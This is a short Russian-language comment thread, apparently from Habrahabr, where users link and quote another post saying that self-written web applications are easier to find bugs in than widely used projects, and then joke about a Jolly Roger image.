Lure_of_Chaos ,  
А в соседнем топике хакер рассказывает нам о том, что самописные движки — просто малина для взломщиков ;)
0
mva ,  
а можно ссылочку на этот соседний топик? :)
// или хотя бы его id
0
pyrk2142 ,  
Например, такая мысль высказывалась вот в этом недавнем посте: habrahabr.ru/post/234331/

Самописные веб-приложения — более благодатная почва для поиска багов, чем широко используемые проекты, поэтому начнем с них.
0
mva ,  
А можно небольшой оффтоп?
Товарищ топикстартер, а за что вы использовали весёлого роджера на первой картинке в топике? Обидно, вай! :(